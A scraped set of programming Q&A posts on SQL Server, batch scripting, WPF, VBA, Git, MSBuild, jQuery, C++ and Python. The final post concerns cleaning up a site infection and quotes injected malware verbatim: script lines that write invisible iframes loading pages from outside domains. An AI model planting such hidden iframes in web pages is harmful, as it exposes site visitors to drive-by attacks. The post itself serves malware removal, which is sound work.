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  • How to run stored procedures and ad-hoc scripts asynchronously with "loosely" connected SQL Server 2

    - by sanga
    Is there a way to initiate a script against an instance of SQL server when it is not connected then have it run on the instance the next time it connects? This needs to happen without any intervention from me. Background situation if you are interested: We have about 120 machines each with their own instance of SQL Server 2000. Most of them are laptops. We have merge replication set up with each one. From time to time, there is a need to delete "rogue" guids from some tables in some instances that overwrite legitimate records on the main publisher as well as perform administrative tasks via stored procedure or adhoc sql statements. The problem is there is no telling when each machine is going to be connected to the network. Some folks turn their machines completely off at the end of the day. Others disconnect their machines and take them on business trips, home for the weekend etc. Did I mention that about 35 of these machines are in utility trucks and "attempt" to sync over a wireless connection. Thanks in advance for any assistance or suggestions. Sanga

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  • batch: replace a line in a text file

    - by sasamimasas
    I'm trying to replace this line: # forward-socks5 / 127.0.0.1:9050 . with this one: forward-socks5 / 127.0.0.1:9050 . this line belongs to a config file that has to be enabled (UN-commented) by deleting the # sign from the beginning and I could not thought of a better way other than replacing the line with another without the # sign. any other thoughts or ways would be very useful. btw, the spaces before the text are there also.I have pasted the text as it was in the original file. thanks in advance EDIT: I have somehow managed to do the line addition and removing using two peaces of code that I've found. my only problem is that the following code removes every bit of exclamation in the output file! @echo off :Variables SETLOCAL ENABLEDELAYEDEXPANSION set InputFile=config.txt set OutputFile=config-new.txt set _strFind=# forward-socks5 / 127.0.0.1:9050 . set _strInsert= forward-socks5 / 127.0.0.1:9050 . set i=0 :Replace for /f "usebackq tokens=1 delims=[]" %%A in (`find /n "%_strFind%" "%InputFile%"`) do (set _strNum=%%A) for /f "usebackq delims=" %%A in ("%InputFile%") do ( set /a i = !i! + 1 echo %%A>>"%OutputFile%" if [!i!] == [%_strNum%] (echo %_strInsert%>>"%OutputFile%") ) type %OutputFile% | findstr /i /v /c:"%_strFind%">config-new2.txt I was wondering if there is any way to do both the find/delete/add line in one step (not two steps as mine)...

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  • csharp get value datatemplate element

    - by To-me
    Hello, Here is my code <ListBox x:Name="myList" IsSynchronizedWithCurrentItem="True" SelectionChanged="editElement"> <ListBox.ItemTemplate> <DataTemplate x:Name="ElementItemTemplate"> <StackPanel Name="stackPanelElementItem" Orientation="Horizontal"> <Label Name="SelectedItemlabel" Content="{Binding}" /> <Button Name="buttonDelElement" Click="btnDelElement">Delete</Button> </StackPanel> </DataTemplate> </ListBox.ItemTemplate> </ListBox> private void btnDelElement(object sender, RoutedEventArgs e) { ListBoxItem lbi2 = (ListBoxItem)(lstCursus.ItemContainerGenerator.ContainerFromItem(myList.Items.CurrentItem)); String selectedItem = lbi2.Content.ToString(); MessageBox.Show("Selected Item " + selectedItem + " ."); private void editCursus(object sender, RoutedEventArgs e) { MessageBox.Show("Selected Item " + selectedItem + " ."); /* some code to edit selected item using linq */ } My issue, SelectionChange doesn't work anymore and when I click on buttonDelElement, Selected Item doesn't change immediately. Please, any ideas?

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  • Automating Excel through the PIA makes VBA go squiffy.

    - by Jon Artus
    I have absolutely no idea how to start diagnosing this, and just wondered if anyone had any suggestions. I'm generating an Excel spreadsheet by calling some Macros from a C# application, and during the generation process it somehow breaks. I've got a VBA class containing all of my logging/error-handling logic, which I instantiate using a singleton-esque accessor, shown here: Private mcAppFramework As csys_ApplicationFramework Public Function AppFramework() As csys_ApplicationFramework If mcAppFramework Is Nothing Then Set mcAppFramework = New csys_ApplicationFramework Call mcAppFramework.bInitialise End If Set AppFramework = mcAppFramework End Function The above code works fine before I've generated the spreadsheet, but afterwards fails. The problem seems to be the following line; Set mcAppFramework = New csys_ApplicationFramework which I've never seen fail before. If I add a watch to the variable being assigned here, the type shows as csys_ApplicationFramework/wksFoo, where wksFoo is a random worksheet in the same workbook. What seems to be happening is that while the variable is of the right type, rather than filling that slot with a new instance of my framework class, it's making it point to an existing worksheet instead, the equivalent of Set mcAppFramework = wksFoo which is a compiler error, as one might expect. Even more bizarrely, if I put a breakpoint on the offending line, edit the line, and then resume execution, it works. For example, I delete the word 'New' move off the line, move back, re-type 'New' and resume execution. This somehow 'fixes' the workbook and it works happily ever after, with the type of the variable in my watch window showing as csys_ApplicationFramework/csys_ApplicationFramework as I'd expect. This implies that manipulating the workbook through the PIA is somehow breaking it temporarily. All I'm doing in the PIA is opening the workbook, calling several macros using Excel.Application.Run(), and saving it again. I can post a few more details if anyone thinks that it's relevant. I don't know how VBA creates objects behind the scenes or how to debug this. I also don't know how the way the code executes can change without the code itself changing. As previously mentioned, VBA has frankly gone a bit squiffy on me... Any thoughts?

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  • Can I create a Google calendar for a user in a hosted domain using the admin credentials

    - by user351013
    I use the admin credentials for all of my interactions with the google api and I can retrieve\create\update\delete events from and for all of my hosted domain users. However, when I go to create a calendar for a hosted domain user, the calendar is created in the admins space. In the example below the GoogleUserName does NOT match the GoogleAccount. The postUri would look similar to : http://www.google.com/calendar/feeds/[email protected]/owncalendars/full and the GoogleUserName is [email protected]. The api creates a calendar but it is in the admins space. CalendarService service = new CalendarService("Test"); service.setUserCredentials(GoogleUserName, GooglePassword); CalendarEntry calendar = new CalendarEntry(); calendar.TimeZone = "America/Chicago"; calendar.Title.Text = Title; calendar.Summary.Text = Description; calendar.Color = Color; calendar.Selected = true; calendar.Hidden = false; Uri postUri = new Uri(String.Format("http://www.google.com/calendar/feeds/{0}/owncalendars/full", GoogleAccount)); CalendarEntry createdCalendar = (CalendarEntry)service.Insert(postUri, calendar); The documentation does specify to use the users credentials however the documentation is not specific to hosted domains a great deal of the time and as such I am always attempting trial and error when trying interactions. That I can use all of the CRUD on the user's events themselves using the admin credentials leaves me to believe that it might be possible.

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  • What's your take on this Javascript thingy?

    - by Nischal
    We've been having a discussion at our workplace on this with some for and some against the behavior. Wanted to hear views from you guys : <html> <body> <div> Test! <script> document.body.removeChild(document.getElementsByTagName('div')[0]); </script> </div> </body> </html> Should the above script work and do what it's supposed to do? First, let's see what's happening here : I have a javascript that's inside the <div> element. This javascript will delete the child node within body which happens to hold the div inside which the script itself exists. Now, the above script works fine in Firefox, Opera and IE8. But IE6 and IE7 give an alert saying they cannot open the page. Let's not debate on how IE should have handled this (they've accepted it as a bug and hence fixed it in IE8). The point here is since the 'SCRIPT' tag itself is a part of DOM, should it be allowed to do something like this? Should it even exist after such an operation?

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  • Best workflow with Git & Github

    - by Tom Schlick
    Hey guys, im looking for some advice on how to properly structure the workflow for my team with git & github. we are recent svn converts and its kind of confusing on how we should best setup our day-to-day workflow. Here is a little background, im comfortable with command line and my team is pretty new to it but can follow use commands. We all are working on the same project with 3 environments (development, staging, and production). We are a mix of developers & designers so some use the Git GUI and some command line. Our setup in svn went something like this. We had a branch for development, staging and production. When people were confident with code they would commit and then merge it into the staging. The server would update itself and on a release day (weekly) we would do a diff and push the changes to the production server. Now i setup those branches and got the process with the server running but its the actual workflow that is confusing the hell out of me. It seems like overkill that every time someone makes a change on a file they would create a new branch, commit, merge, and delete that branch... from what i have read they would be able to do it on a specific commit (using the hash), do i have that right? is this an acceptable way to go about things with git? any advice would be greatly appreciated.

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  • Deserialization of a DataSet... deal with column name changes? how to migrate data from one column to another?

    - by Brian Kennedy
    So, we wanted to slightly generalize a couple columns in our typed dataset... basically dropped a foreign key constraint and then wanted to change a couple column names to better reflect their new state. All that is easy. The problem is that our users may have serialized out the old version of the DataSet as XML. We want to be able to read those old XML files and deserialize them into the revised DataSet. It seems that would be a fairly common desire... but I haven't yet figured out the right thing to search the internet for. One possible solution would seem to be some way to give a DataColumn an alias or alternate name such that when it reads the old column name, it knows that data can be read into the column with the new column name. I can find no support for any such thing. Another approach would seem to be an "after deserialization" method of some sort... so, I would let it read in the old column values into a normal DataColumn with that name, and then in the "after deserialization" method I would just move the data from the obsolete column into the new column, and then delete the old columns. That would seem to generalize to many other situations... and having such events or hooks is pretty common in ADO.NET. But I have looked for such a hook and haven't yet found it. If no "after deserialization" hook, it would seem I ought to be able to override ReadXml or ReadXmlSerializable methods to call the base and then do my "after" stuff to fix up old data into new. But it does not appear that is possible. Soooo, I have to think backward compatibility with old serialized DataSets and simple data migration would be a well-solved problem... so, trying to reinvent that wheel seems silly. But so far, I haven't seemed to find any documentation on doing those things. Suggestions? What is best practice for this?

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  • C++ universal data type

    - by Gokul
    I have a universal data type, which is passed by value, but does not maintain the type information. We store only pointers and basic data types(like int, float etc) inside this. Now for the first time, we need to store std::string inside this. So we decided to convert it into std::string* and store it. Then comes the problem of destruction. We don't like to copy the std::string every time. So i am thinking of an approach like this. Say the data type looks like this class Atom { public : enum flags { IS_STRING, IS_EMPTY, HAS_GOT_COPIED, MARKER }; private: void* m_value; std::bitset<MARKER> m_flags; public: ..... Atom( Atom& atm ) { atm.m_flags.set( HAS_GOT_COPIED ); ..... } ..... ~Atom() { if( m_flags.test(IS_STRING) && !m_flags.test(HAS_GOT_COPIED) ) { std::string* val = static_cast<std::string*>(m_value); delete val; } } }; Is this a good approach to find out whether there is no more reference to std::string*? Any comments.. Thanks, Gokul.

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  • MSBuild - How to build a .NET solution file (in an XML task script) from pre-written command line commands

    - by Devtron
    Hello. I have been studying MSBuild as I have the need to automate my development shop's builds. I was able to easily write a .BAT file that invokes the VS command prompt and passes my MSBuild commands to it. This works rather well and is kinda nifty. Here is the contents of my .BAT build file: call "C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\bin\amd64\vcvars64.bat" cd C:\Sandbox\Solution msbuild MyTopSecretApplication.sln /p:OutputPath=c:\TESTMSBUILDOUTPUT /p:Configuration=Release,Platform=x86 pause ^ This works well but I now have the need to use the MSBuild task for TeamCity CI. I have tried to write a few MSBuild scripts but I cannot get them to work the same. What is the equivalent build script to the command I am using in my .BAT file? Any ideas? I have tried using something like this, but no success (I know this is wrong): <?xml version="1.0"?> <project name="Hello Build World" default="run" basedir="."> <target name="build"> <mkdir dir="mybin" /> <echo>Made mybin directory!</echo> <csc target="exe" output="c:\TESTMSBUILDOUTPUT"> <sources> <include name="MyTopSecretApplication.sln"/> </sources> </csc> <echo>MyTopSecretApplication.exe was built!</echo> </target> <target name="clean"> <delete dir="mybin" failonerror="false"/> </target> <target name="run" depends="build"> <exec program="mybin\MyTopSecretApplication.exe"/> </target> What I simply need is an MSBuild XML build script that compiles a single solution for Release mode to a specified output directory. Any help?

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  • How do you hidden/show particular context menu item in flex?

    - by R.Vijayakumar
    var contextMenu:ContextMenu = new ContextMenu(); contextMenu.hideBuiltInItems(); var contactList : ContextMenuItem = new ContextMenuItem("Add to Existing List"); contactList.addEventListener(ContextMenuEvent.MENU_ITEM_SELECT, doStaticListCommand); var newContactList : ContextMenuItem = new ContextMenuItem("Add a New List"); newContactList.addEventListener(ContextMenuEvent.MENU_ITEM_SELECT, doNewStaticListCommand); var removeContactList : ContextMenuItem = new ContextMenuItem("Remove contact from List"); removeContactList.addEventListener(ContextMenuEvent.MENU_ITEM_SELECT, doRemoveListCommand); var deletecontact:ContextMenuItem = new ContextMenuItem("Delete contact"); deletecontact.addEventListener(ContextMenuEvent.MENU_ITEM_SELECT, dodeleteconactCommand); var TimeList : ContextMenuItem = new ContextMenuItem("Add Time Spent"); TimeList.addEventListener(ContextMenuEvent.MENU_ITEM_SELECT, doTimeListCommand); contextMenu.customItems.push(contactList); contextMenu.customItems.push(newContactList); contextMenu.customItems.push(deletecontact); contextMenu.customItems.push(removeContactList); In flex i done contex menu , if i rigt click then show context menu item but i want to hidden particular context menu item in list , is it possiable hidden and show particular items in context menu ? please refer me

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  • Mixing stored procedures and ORM

    - by Jason
    The company I work for develops a large application which is almost entirely based on stored procedures. We use classic ASP and SQL Server and the major part of the business logic is contained inside those stored procedures. For example, (I know, this is bad...) a single stored procedure can be used for different purposes (insert, update, delete, make some calculations, ...). Most of the time, a stored procedure is used for operations on related tables, but this is not always the case. We are planning to move to ASP.NET in a near future. I have read a lot of posts on StackOverflow recommending that I move the business logic outside the database. The thing is, I have tried to convince the people who takes the decisions at our company and there is nothing I can do to change their mind. Since I want to be able to use the advantages of object-oriented programming, I want to map the tables to actual classes. So far, my solution is to use an ORM (Entity Framework 4 or nHibernate) to avoid mapping the objects manually (mostly to retrieve the data) and use some kind of Data Access Layer to call the existing stored procedures (for saving). I want your advice on this. Do you think it is a good solution? Any ideas?

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  • Load Empty Database table

    - by john White
    I am using SQLexpress and VS2008. I have a DB with a table named "A", which has an IdentitySpecification column named ID. The ID is auto-incremented. Even if the row is deleted, the ID still increases. After several data manipulation, the current ID has reached 15, for example. When I run the application if there's at least 1 row: if I add a new row, the new ID is 16. Everything is fine. If the table is empty (no row): if I add a new row, the new ID is 0, which is an error (I think). And further data manipulation (eg. delete or update) will result in an unhandled exception. Has anyone encountered this? PS. In my table definition, the ID has been selected as follow: Identity Increment = 1; Identity Seed =1; The DB load code is: dataSet = gcnew DataSet(); dataAdapter->Fill(dataSet,"A"); dataTable=dataSet->Tables["A"]; dbConnection->Open(); The Update button method dataAdapter->Update(dataSet,"tblInFlow"); dataSet->AcceptChanges(); dataTable=dataSet->Tables["tblInFlow"]; dataGrid->DataSource=dataTable; If I press Update: if there's at least a row: the datagrid view updates and shows the table correctly. if there's nothing in the table (no data row), the Add method will add a new row, but from ID 0. If I close the program and restart it again: the ID would be 16, which is correct. This is the add method row=dataTable->NewRow(); row["column1"]="something"; dataTable->Rows->Add(row); dataAdapter->Update(dataSet,"A"); dataSet->AcceptChanges(); dataTable=dataSet->Tables["A"];

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  • Runtime Error 1004 using Select with several workbooks

    - by Johaen
    I have an Excel workbook which pulls out data from two other workbooks. Since the data changes hourly there is the possibility that this macro is used more than one time a day for the same data. So I just want to select all previous data to this date period and want to delete them. Later on the data will be copied in anyway. But as soon as I want to use WBSH.Range(Cells(j, "A"), Cells(lastRow - 1, "M")).Select the code stopes with Error 1004 Application-defined or object-defined error. Followed just a snippet of the code with the relevant part. What is wrong here? 'Set source workbook Dim currentWb As Workbook Set currentWb = ThisWorkbook Set WBSH = currentWb.Sheets("Tracking") 'Query which data from the tracking files shoud get pulled out to the file CheckDate = Application.InputBox(("From which date you want to get data?" & vbCrLf & "Format: yyyy/mm/dd "), "Tracking data", Format(Date - 1, "yyyy/mm/dd")) 'states the last entry which is done ; know where to start ; currentWb File With currentWb.Sheets("Tracking") lastRow = .Range("D" & .Rows.Count).End(xlUp).Row lastRow = lastRow + 1 End With 'just last 250 entries get checked since not so many entries are made in one week j = lastRow - 250 'Check if there is already data to the look up date in the analyses sheet and if so deletes these records Do j = j + 1 'Exit Sub if there is no data to compare to prevent overflow If WBSH.Cells(j + 1, "C").Value = "" Then Exit Do End If Loop While WBSH.Cells(j, "C").Value < CheckDate If j <> lastRow - 1 Then 'WBSH.Range(Cells(j, "A"), Cells(lastRow - 1, "M")).Select 'Selection.ClearContents End If Thank you!

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  • How to submit to the server with JQuery.UI Dialog and ASP.Net?

    - by Paul
    Hi, I'm looking for a way to submit information captured in a JQuery Dialog to the server in ASP.Net. I originally thought it would work with a 'hidden' asp button, but the click doesn't seem to be submitting the form. Here's the code I have so far: <script type="text/javascript"> jQuery(document).ready(function() { var dlg = jQuery("#dialog").dialog({ bgiframe: true, autoOpen: false, height: 150, width: 300, modal: true, buttons: { "Add": function() { var btn = document.getElementById("<%=btnAdd.ClientID %>"); if (btn) btn.click(); $(this).dialog("close"); } } }); $("#dialog").parent().appendTo("#dialog_target"); }); </script> <div id="hidden" style="visibility:hidden" > <!-- Hidden button that actually triggers server add --> <asp:Button ID="btnAdd" runat="server" style="display:none" OnClick="btnAdd_Click" /> <!-- Hidden Delete Dialog --> <div id="dialog" title="New Additional Skill"> <label>Additional Skill Name:</label> <asp:TextBox ID="_txtNewSkillName" runat="server" /> </div> Any pointers?

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  • What am I doing wrong with SVN merging?

    - by randomusername
    When SVN with merge tracking works, it's really nice, I love it. But it keeps getting twisted up. We are using TortoiseSVN. We continuously get the following message: Error: Reintegrate can only be used if revisions 1234 through 2345 were previously merged from /Trunk to the reintegrate source, but this is not the case For reference, this is the method we are using: Create a Branch Develop in the branch Occasionally Merge a range of revisions from the Trunk to the Branch When branch is stable, Reintegrate a branch from the branch to the trunk Delete the branch I Merge a range of revisions from the trunk to the branch (leaving the range blank, so it should be all revisions) just prior to the reintegrate operation, so the branch should be properly synced with the trunk. Right now, the Trunk has multiple SVN merge tracking properties associated with it. Should it? Or should a Reintegrate not add any merge tracking info? Is there something wrong with our process? This is making SVN unusable - 1 out of every 3 reintegrates forces me to dive in and hack at the merge tracking info.

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  • MySQL query problem

    - by Luke
    Ok, I have the following problem. I have two InnoDB tables: 'places' and 'events'. One place can have many events, but event can be created without entering place. In this case event's foreign key is NULL. Simplified structure of the tables looks as follows: CREATE TABLE IF NOT EXISTS `events` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT, `name` varchar(255) COLLATE utf8_bin NOT NULL, `places_id` int(9) unsigned DEFAULT NULL, PRIMARY KEY (`id`), KEY `fk_events_places` (`places_id`), ) ENGINE=InnoDB; ALTER TABLE `events` ADD CONSTRAINT `events_ibfk_1` FOREIGN KEY (`places_id`) REFERENCES `places` (`id`) ON DELETE CASCADE ON UPDATE NO ACTION; CREATE TABLE IF NOT EXISTS `places` ( `id` int(9) unsigned NOT NULL AUTO_INCREMENT, `name` varchar(255) COLLATE utf8_bin NOT NULL, PRIMARY KEY (`id`), ) ENGINE=InnoDB; Question is, how to construct query which contains name of the event and name of the corresponding place (or no value, in case there is no place assigned?). I am able to do it with two queries, but then I am visibly separating events which have place assigned from the ones that are without place. Help really appreciated.

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  • Crash in C++ Code

    - by Ankuj
    I am trying to list all files in a directory recursively. But my code crashes without giving any error. When the given file is directory I recursively call the function or else print its name. I am using dirent.h int list_file(string path) { DIR *dir; struct dirent *ent; char *c_style_path; c_style_path = new char[path.length()]; c_style_path = (char *)path.c_str(); dir = opendir (c_style_path); if (dir != NULL) { /* print all the files and directories within directory */ while ((ent = readdir (dir)) != NULL) { if(ent->d_type == DT_DIR && (strcmp(ent->d_name,".")!=0) && (strcmp(ent->d_name,"..")!=0)) { string tmp = path + "\\" + ent->d_name; list_file(tmp); } else { cout<<ent->d_name<<endl; } } closedir (dir); } else { /* could not open directory */ perror (""); return EXIT_FAILURE; } delete [] c_style_path; return 0; } I am not getting as to what I am doing wrong here. Any clues ?

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  • NSManagedObject How To Reload

    - by crissag
    I have a view that consists of a table of existing objects and an Add button, which allows the user to create a new object. When the user presses Add, the object is created in the list view controller, so that the object will be part of that managed object context (via the NSEntityDescription insertNewObjectForEntityForName: method). The Add view has a property for the managed object. In the list view controller, I create an Add view controller, set the property to the managed object I created, and then push the Add view on to the navigation stack. In the Add view, I have two buttons for save and cancel. In the save, I save the managed object and pass the managed object back to the list view controller via a delegate method. If the user cancels, then I delete the object and pass nil back to the list view controller. The complication I am having in the add view is related to a UIImagePickerController. In the Add view, I have a button which allows the user to take a photo of the object (or use an existing photo from the photo library). However, the process of transferring to the UIImagePickerController and having the user use the camera, is resulting in a didReceiveMemoryWarning in the add view controller. Further, the view was unloaded, which also caused my NSManagedObject to get clobbered. My question is, how to you go about reloading the NSManagedObject in the case where it was released because of the low memory situation?

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  • Error while closing SQL Connection

    - by Wickedman84
    I have a problem with closing the SQLconnection in my application. My application is in VB.net. I have a reference in my application to a class with code to open and close the database connection and to execute all sql scripts. The error occurs when i close my application. In the formClosing event of my main form I call a function that closes all the connections. But just before I close the connections I perform an SQLquery to delete a row from a table with the function below. Public Function DeleteFunction(ByVal mySQLQuery As String, ByVal cmd As SqlCommand) As Boolean Try cmd.Connection = myConnection cmd.CommandText = mySQLQuery cmd.ExecuteNonQuery() Return True Catch ex As Exception WriteErrorMessage("DeleteFunction", ex, Logpath, "SQL Error: " & mySQLQuery) Return False End Try End Function In my application I check the result of the boolean. If it returns True, then i call the function to close the database connection. The returned boolean is True and the requested row is deleted in my database. This means i can close my connection which I do with the function below. Public Sub DatabaseConnClose() myCommand.CommandText = "" myConnection.Close() myCommand = Nothing myConnection = Nothing End Sub After executing this code I receive an error in my logfile from the DeleteFunction. It says: "Connection property has not been initialized." It seems very strange to receive an error from a function that was completely executed, or am i wrong to think that? Can anyone tell me why I receive this error and how I can solve the problem?

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  • Printing Images C# Overlapping Wrong

    - by Alen
    I have created a program much like Photoshop in the sense that you can place images (picture box) on a control, move them around, delete them, and so on... I have also managed to put together a method to print all the images on the control with no problems. But here is the weird part: When I click print, the program prints the image which was placed first, on top of the image which came second. On the screen the user can see the image which was placed second, on top of the first placed image (the way it should be) but when I print its opposite? I have no idea why it does this... I hope I've made my self as clear as possible, any help is appreciated! public void printToGraphics(Graphics graphics, Rectangle bounds) { graphics.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit; graphics.CompositingQuality = System.Drawing.Drawing2D.CompositingQuality.HighQuality; graphics.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality; Bitmap bitmap = new Bitmap(newLabel.Width, newLabel.Height); newLabel.DrawToBitmap(bitmap, newLabel.DisplayRectangle); Rectangle target = new Rectangle(0, 0, bounds.Width, bounds.Height); target.Height = bitmap.Height; target.Width = bitmap.Width; graphics.PageUnit = GraphicsUnit.Display; graphics.DrawImage(bitmap,target); } void printDoc_PrintPage(object sender, PrintPageEventArgs e) { printToGraphics(e.Graphics, e.MarginBounds); }

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  • Drupal 6: Creating "ON/OFF News Links" functionality for a block created with View Module.

    - by artmania
    Hi friends, I'm a drupal newbie who needs some advice... I have a news list block at homepage, created with View Module. It is listing all added news' title and link. Everything is cool so far. Now I need to add an ON/OFF option at admin side for homepage news block. When the setting is ON, it will work as it is. When it is OFF, only the titles will be listed with no linking to news detail page. So, now where should I add this ON/OFF option? I have only add/edit/delete pages for each news, there is no common news page to add such option. Should I create an admin page with such ON/OFF option in? Also I think I need to create a db table to keep this ON/OFF status. and controlling this value at homepage block, if it is 1 or 0, and displaying links according to db value :/ it looks too long way Create db table Create an page with ON/OFF option in add php codes to update db for admin's choice get the db value in homepage block to display links, etc. is there any shorter, better way to do what I need? Appreciate helps so much!!! Thanks a lot!!

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  • How to append html only if the div is empty in jQuery?

    - by johnnyb3000
    I have this code for displaying content for login and registration in my PHP file: <?php // LOGIN PART ?> <div class="login-part"></div> <?php // REGISTRATION PART ?> <div class="registration-part"></div> And this in my js file: $(document).ready( function() { // FOR REGISTRATION $('span.logreg.reg').click(function () { $('div.registration-part').append('<p>Registration</p>'); }); // FOR LOGIN $('span.logreg.log').click(function () { // insert html $('div.login-part').append('<p>Login</p>'); }); }); Now, everytime I click on a span it shows the text login or registration, according to which of the span was clicked. Thats OK, however I need to add it only once, so when the user click more times on the span it will be not adding more text. Remove() or empty() is not an option, as far as I know, because I need the information inside input boxes (there will be input boxes later for inserting user info) to stay there and not be deleted if the user click accidentally on the span again. It can however delete the html inside the div, if he clicks on another span. E.g. if span.log is active, after clicking on span.log nothing happens, but if he clicks on span.reg the html inside div.login-part will be removed and registration text will appear. How to do something like this?

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  • Python: why can't descriptors be instance variables?

    - by Continuation
    Say I define this descriptor: class MyDescriptor(object): def __get__(self, instance, owner): return self._value def __set__(self, instance, value): self._value = value def __delete__(self, instance): del(self._value) And I use it in this: class MyClass1(object): value = MyDescriptor() >>> m1 = MyClass1() >>> m1.value = 1 >>> m2 = MyClass1() >>> m2.value = 2 >>> m1.value 2 So value is a class attribute and is shared by all instances. Now if I define this: class MyClass2(object) value = 1 >>> y1 = MyClass2() >>> y1.value=1 >>> y2 = MyClass2() >>> y2.value=2 >>> y1.value 1 In this case value is an instance attribute and is not shared by the instances. Why is it that when value is a descriptor it can only be a class attribute, but when value is a simple integer it becomes an instance attribute?

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  • Ouch, how to escape this in sed? Cleaning up iframe malware

    - by user1769783
    I'm helping someone clean up a malware infection on a site and I'm having a difficult time correctly matching some strings in sed so I can create a script to mass search and replace / remove it. The strings are: <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script> <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</script> <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script> I cant seem to figure out how to escape the various characters in those lines... If I try to just say delete the entire line if it matches http://vidintex.com/includes/class.pop.php it also deletes the closing "" in the .html files as well. Any help would be greatly appreciated!

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